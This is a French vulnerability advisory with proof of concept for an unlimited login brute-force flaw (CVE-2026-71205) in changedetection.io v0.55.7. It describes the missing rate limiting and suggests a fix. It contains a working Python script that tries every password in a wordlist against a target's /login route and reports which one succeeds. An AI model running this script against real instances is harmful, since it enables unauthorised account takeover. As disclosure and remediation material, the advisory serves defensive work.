
PoC : force brute de connexion illimitée sur changedetection.io, sans limitation de débit (CVE-2026-71205, Medium 6.5)
Produit : dgtlmoon/changedetection.io — v0.55.7
Fichier : changedetectionio/flask_app.py
CWE : CWE-307 — Restriction inadéquate des tentatives d'authentification excessives
CVSS 3.1 : AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N — 6.5 (Moyen)
CNA : Turan Security · Fiche CVE
La route /login de changedetection.io vérifie le mot de passe soumis par rapport à un unique hash PBKDF2-HMAC-SHA256, sans limitation de débit par IP ou par session, sans compteur de tentatives échouées ni verrouillage. Aucune bibliothèque de limitation de débit n'est présente dans requirements.txt.
Un attaquant peut tenter un nombre illimité de suppositions de mot de passe sur la connexion de l'administrateur unique sans aucune limitation, ce qui permet des attaques de force brute en ligne ou de bourrage d'identifiants contre l'unique compte de l'instance, sans aucun coût au-delà des allers-retours réseau.
import requests
import itertools
import sys
target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:5000"
wordlist = sys.argv[2] if len(sys.argv) > 2 else "passwords.txt"
session = requests.Session()
with open(wordlist) as f:
for line_no, password in enumerate(f, 1):
password = password.strip()
resp = session.post(
f"{target}/login",
data={"password": password},
allow_redirects=False,
timeout=10,
)
# No lockout, no rate-limit headers, no CAPTCHA at any attempt count.
status = "SUCCESS" if resp.status_code in (302, 303) else "fail"
print(f"[{line_no}] {password!r}: {status} (HTTP {resp.status_code})")
if status == "SUCCESS":
print(f"[+] Valid password found: {password}")
break
Exécutez-le contre une instance avec n'importe quelle liste de mots de passe — aucun nombre de tentatives ne déclenche de verrouillage, de CAPTCHA ou de délai croissant à aucun moment de l'exécution.
Le gestionnaire de connexion effectue une comparaison directe du hash sans état de suivi des tentatives (par IP, par session ou global) et aucun middleware ni bibliothèque de limitation de débit n'est installé.
Ajoutez une bibliothèque de limitation de débit (par ex. Flask-Limiter) à /login, avec un compteur de tentatives échouées et un backoff exponentiel ou un verrouillage temporaire par IP/session source.